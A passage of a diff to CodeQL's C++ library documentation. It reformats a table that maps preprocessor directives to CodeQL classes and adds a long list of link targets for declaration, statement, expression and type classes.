``#include_next`` *file_name* | `IncludeNext <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Include.qll/type.Include$IncludeNext.html>`__ | Apple/NeXT extension | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``#define`` *macro* ... | `Macro <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Macro.qll/type.Macro$Macro.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ ++-------------------------------------+----------------------+----------------------+ +| Example syntax | CodeQL class | Remarks | ++=====================================+======================+======================+ +| ``#elif`` *condition* | PreprocessorElif_ | | ++-------------------------------------+----------------------+----------------------+ +| ``#if`` *condition* | PreprocessorIf_ | | ++-------------------------------------+----------------------+----------------------+ +| ``#ifdef`` *macro* | PreprocessorIfdef_ | | ++-------------------------------------+----------------------+----------------------+ +| ``#ifndef`` *macro* | PreprocessorIfndef_ | | ++-------------------------------------+----------------------+----------------------+ +| ``#else`` | PreprocessorElse_ | | ++-------------------------------------+----------------------+----------------------+ +| ``#endif`` | PreprocessorEndif_ | | ++-------------------------------------+----------------------+----------------------+ +| ``#line`` *line_number* *file_name* | PreprocessorLine_ | | ++-------------------------------------+----------------------+----------------------+ +| ``#pragma`` *pragma_property* | PreprocessorPragma_ | | ++-------------------------------------+----------------------+----------------------+ +| ``#undef`` *macro* | PreprocessorUndef_ | | ++-------------------------------------+----------------------+----------------------+ +| ``#warning`` *message* | PreprocessorWarning_ | | ++-------------------------------------+----------------------+----------------------+ +| ``#error`` *message* | PreprocessorError_ | | ++-------------------------------------+----------------------+----------------------+ +| ``#include`` *file_name* | Include_ | | ++-------------------------------------+----------------------+----------------------+ +| ``#import`` *file_name* | Import_ | Apple/NeXT extension | ++-------------------------------------+----------------------+----------------------+ +| ``#include_next`` *file_name* | IncludeNext_ | Apple/NeXT extension | ++-------------------------------------+----------------------+----------------------+ +| ``#define`` *macro* ... | Macro_ | | ++-------------------------------------+----------------------+----------------------+ + + +.. _Declaration: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Declaration.qll/type.Declaration$Declaration.html +.. _GlobalVariable: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Variable.qll/type.Variable$GlobalVariable.html +.. _NamespaceVariable: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Variable.qll/type.Variable$NamespaceVariable.html +.. _LocalVariable: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Variable.qll/type.Variable$LocalVariable.html +.. _Initializer: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Initializer.qll/type.Initializer$Initializer.html +.. _MemberVariable: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Variable.qll/type.Variable$MemberVariable.html +.. _Function: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Function.qll/type.Function$Function.html +.. _TemplateFunction: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Function.qll/type.Function$TemplateFunction.html +.. _FormattingFunction: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/models/interfaces/FormattingFunction.qll/type.FormattingFunction$FormattingFunction.html +.. _FunctionTemplateInstantiation: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Function.qll/type.Function$FunctionTemplateInstantiation.html +.. _FunctionTemplateSpecialization: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Function.qll/type.Function$FunctionTemplateSpecialization.html +.. _MemberFunction: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$MemberFunction.html +.. _ConstMemberFunction: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$ConstMemberFunction.html +.. _VirtualFunction: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$VirtualFunction.html +.. _Constructor: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$Constructor.html +.. _ConversionOperator: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$ConversionOperator.html +.. _Destructor: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$Destructor.html +.. _ConversionConstructor: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$ConversionConstructor.html +.. _CopyAssignmentOperator: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$CopyAssignmentOperator.html +.. _MoveAssignmentOperator: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$MoveAssignmentOperator.html +.. _CopyConstructor: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$CopyConstructor.html +.. _MoveConstructor: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$MoveConstructor.html +.. _NoArgConstructor: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/MemberFunction.qll/type.MemberFunction$NoArgConstructor.html +.. _EnumConstant: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Enum.qll/type.Enum$EnumConstant.html +.. _FriendDecl: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/FriendDecl.qll/type.FriendDecl$FriendDecl.html +.. _LocalEnum: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Enum.qll/type.Enum$LocalEnum.html +.. _NestedEnum: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Enum.qll/type.Enum$NestedEnum.html +.. _ScopedEnum: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Enum.qll/type.Enum$ScopedEnum.html +.. _AbstractClass: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Class.qll/type.Class$AbstractClass.html +.. _ClassTemplateInstantiation: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Class.qll/type.Class$ClassTemplateInstantiation.html +.. _Type: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html +.. _FullClassTemplateSpecialization: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Class.qll/type.Class$FullClassTemplateSpecialization.html +.. _PartialClassTemplateSpecialization: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Class.qll/type.Class$PartialClassTemplateSpecialization.html +.. _LocalClass: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Class.qll/type.Class$LocalClass.html +.. _NestedClass: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Class.qll/type.Class$NestedClass.html +.. _Class: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Class.qll/type.Class$Class.html +.. _Parameter: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Parameter.qll/type.Parameter$Parameter.html +.. _Struct: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Struct.qll/type.Struct$Struct.html +.. _Union: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Union.qll/type.Union$Union.html +.. _ProxyClass: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Class.qll/type.Class$ProxyClass.html +.. _LocalStruct: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Struct.qll/type.Struct$LocalStruct.html +.. _NestedStruct: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Struct.qll/type.Struct$NestedStruct.html +.. _LocalUnion: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Union.qll/type.Union$LocalUnion.html +.. _NestedUnion: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Union.qll/type.Union$NestedUnion.html +.. _TypedefType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/TypedefType.qll/type.TypedefType$TypedefType.html +.. _LocalTypedefType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/TypedefType.qll/type.TypedefType$LocalTypedefType.html +.. _NestedTypedefType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/TypedefType.qll/type.TypedefType$NestedTypedefType.html +.. _ClassDerivation: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Class.qll/type.Class$ClassDerivation.html +.. _VirtualClassDerivation: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Class.qll/type.Class$VirtualClassDerivation.html +.. _TemplateClass: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Class.qll/type.Class$TemplateClass.html +.. _TemplateVariable: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Variable.qll/type.Variable$TemplateVariable.html +.. _Stmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$Stmt.html +.. _AsmStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$AsmStmt.html +.. _Block: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Block.qll/type.Block$Block.html +.. _CatchBlock: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$CatchBlock.html +.. _CatchAnyBlock: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$CatchAnyBlock.html +.. _ComputedGotoStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$ComputedGotoStmt.html +.. _LabelLiteral: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Literal.qll/type.Literal$LabelLiteral.html +.. _DeclStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$DeclStmt.html +.. _Expr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html +.. _IfStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$IfStmt.html +.. _SwitchCase: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$SwitchCase.html +.. _SwitchStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$SwitchStmt.html +.. _DoStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$DoStmt.html +.. _ForStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$ForStmt.html +.. _RangeBasedForStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$RangeBasedForStmt.html +.. _WhileStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$WhileStmt.html +.. _ExprStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$ExprStmt.html +.. _MicrosoftTryExceptStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$MicrosoftTryExceptStmt.html +.. _MicrosoftTryFinallyStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$MicrosoftTryFinallyStmt.html +.. _ReturnStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$ReturnStmt.html +.. _TryStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$TryStmt.html +.. _FunctionTryStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$FunctionTryStmt.html +.. _EmptyStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$EmptyStmt.html +.. _BreakStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$BreakStmt.html +.. _ContinueStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$ContinueStmt.html +.. _LabelStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$LabelStmt.html +.. _GotoStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$GotoStmt.html +.. _VlaDeclStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$VlaDeclStmt.html +.. _ArrayAggregateLiteral: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Literal.qll/type.Literal$ArrayAggregateLiteral.html +.. _ClassAggregateLiteral: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Literal.qll/type.Literal$ClassAggregateLiteral.html +.. _AlignofExprOperator: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$AlignofExprOperator.html +.. _AlignofTypeOperator: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$AlignofTypeOperator.html +.. _ArrayExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Access.qll/type.Access$ArrayExpr.html +.. _AssumeExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$AssumeExpr.html +.. _StringLiteral: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Literal.qll/type.Literal$StringLiteral.html +.. _StaticAssert: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Element.qll/type.Element$StaticAssert.html +.. _BuiltInNoOp: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/BuiltInOperations.qll/type.BuiltInOperations$BuiltInNoOp.html +.. _ExprCall: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Call.qll/type.Call$ExprCall.html +.. _FunctionCall: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Call.qll/type.Call$FunctionCall.html +.. _CommaExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$CommaExpr.html +.. _ConditionDeclExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$ConditionDeclExpr.html +.. _CStyleCast: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$CStyleCast.html +.. _ConstCast: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$ConstCast.html +.. _DynamicCast: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$DynamicCast.html +.. _ReinterpretCast: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$ReinterpretCast.html +.. _StaticCast: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$StaticCast.html +.. _FoldExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$FoldExpr.html +.. _FormattingFunctionCall: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/commons/Printf.qll/type.Printf$FormattingFunctionCall.html +.. _LambdaExpression: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Lambda.qll/type.Lambda$LambdaExpression.html +.. _BlockExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$BlockExpr.html +.. _FormatLiteral: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/commons/Printf.qll/type.Printf$FormatLiteral.html +.. _HexLiteral: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Literal.qll/type.Literal$HexLiteral.html +.. _OctalLiteral: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Literal.qll/type.Literal$OctalLiteral.html +.. _CharLiteral: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Literal.qll/type.Literal$CharLiteral.html +.. _NewArrayExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$NewArrayExpr.html +.. _NewExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$NewExpr.html +.. _DeleteArrayExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$DeleteArrayExpr.html +.. _DeleteExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$DeleteExpr.html +.. _NoExceptExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$NoExceptExpr.html +.. _AssignExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignExpr.html +.. _AssignAddExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignAddExpr.html +.. _AssignPointerAddExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignPointerAddExpr.html +.. _AssignDivExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignDivExpr.html +.. _AssignMulExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignMulExpr.html +.. _AssignRemExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignRemExpr.html +.. _AssignSubExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignSubExpr.html +.. _AssignPointerSubExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignPointerSubExpr.html +.. _AssignAndExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignAndExpr.html +.. _AssignLShiftExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignLShiftExpr.html +.. _AssignOrExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignOrExpr.html +.. _AssignRShiftExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignRShiftExpr.html +.. _AssignXorExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Assignment.qll/type.Assignment$AssignXorExpr.html +.. _AddExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$AddExpr.html +.. _PointerAddExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$PointerAddExpr.html +.. _ImaginaryRealAddExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$ImaginaryRealAddExpr.html +.. _RealImaginaryAddExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$RealImaginaryAddExpr.html +.. _DivExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$DivExpr.html +.. _ImaginaryDivExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$ImaginaryDivExpr.html +.. _MaxExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$MaxExpr.html +.. _MinExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$MinExpr.html +.. _MulExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$MulExpr.html +.. _ImaginaryMulExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$ImaginaryMulExpr.html +.. _RemExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$RemExpr.html +.. _SubExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$SubExpr.html +.. _PointerDiffExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$PointerDiffExpr.html +.. _PointerSubExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$PointerSubExpr.html +.. _ImaginaryRealSubExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$ImaginaryRealSubExpr.html +.. _RealImaginarySubExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$RealImaginarySubExpr.html +.. _BitwiseAndExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/BitwiseOperation.qll/type.BitwiseOperation$BitwiseAndExpr.html +.. _BitwiseOrExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/BitwiseOperation.qll/type.BitwiseOperation$BitwiseOrExpr.html +.. _BitwiseXorExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/BitwiseOperation.qll/type.BitwiseOperation$BitwiseXorExpr.html +.. _LShiftExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/BitwiseOperation.qll/type.BitwiseOperation$LShiftExpr.html +.. _RShiftExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/BitwiseOperation.qll/type.BitwiseOperation$RShiftExpr.html +.. _LogicalAndExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/LogicalOperation.qll/type.LogicalOperation$LogicalAndExpr.html +.. _LogicalOrExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/LogicalOperation.qll/type.LogicalOperation$LogicalOrExpr.html +.. _EQExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ComparisonOperation.qll/type.ComparisonOperation$EQExpr.html +.. _NEExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ComparisonOperation.qll/type.ComparisonOperation$NEExpr.html +.. _GEExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ComparisonOperation.qll/type.ComparisonOperation$GEExpr.html +.. _GTExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ComparisonOperation.qll/type.ComparisonOperation$GTExpr.html +.. _LEExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ComparisonOperation.qll/type.ComparisonOperation$LEExpr.html +.. _LTExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ComparisonOperation.qll/type.ComparisonOperation$LTExpr.html +.. _ConditionalExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/LogicalOperation.qll/type.LogicalOperation$ConditionalExpr.html +.. _AddressOfExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$AddressOfExpr.html +.. _PointerDereferenceExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$PointerDereferenceExpr.html +.. _PostfixDecrExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$PostfixDecrExpr.html +.. _PrefixDecrExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$PrefixDecrExpr.html +.. _PostfixIncrExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$PostfixIncrExpr.html +.. _PrefixIncrExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$PrefixIncrExpr.html +.. _ImaginaryPartExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$ImaginaryPartExpr.html +.. _RealPartExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$RealPartExpr.html +.. _UnaryMinusExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$UnaryMinusExpr.html +.. _UnaryPlusExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$UnaryPlusExpr.html +.. _ComplementExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/BitwiseOperation.qll/type.BitwiseOperation$ComplementExpr.html +.. _ConjugationExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$ConjugationExpr.html +.. _NotExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/LogicalOperation.qll/type.LogicalOperation$NotExpr.html +.. _VectorFillOperation: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/BuiltInOperations.qll/type.BuiltInOperations$VectorFillOperation.html +.. _SizeofExprOperator: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$SizeofExprOperator.html +.. _SizeofTypeOperator: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$SizeofTypeOperator.html +.. _SizeofPackOperator: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$SizeofPackOperator.html +.. _StmtExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$StmtExpr.html +.. _ThisExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$ThisExpr.html +.. _ThrowExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Call.qll/type.Call$ThrowExpr.html +.. _ReThrowExpr: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Call.qll/type.Call$ReThrowExpr.html +.. _TypeidOperator: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$TypeidOperator.html +.. _UuidofOperator: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$UuidofOperator.html +.. _VoidType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$VoidType.html +.. _BoolType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$BoolType.html +.. _PlainCharType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$PlainCharType.html +.. _SignedCharType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$SignedCharType.html +.. _UnsignedCharType: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$UnsignedCharType.html +.. _IntType: 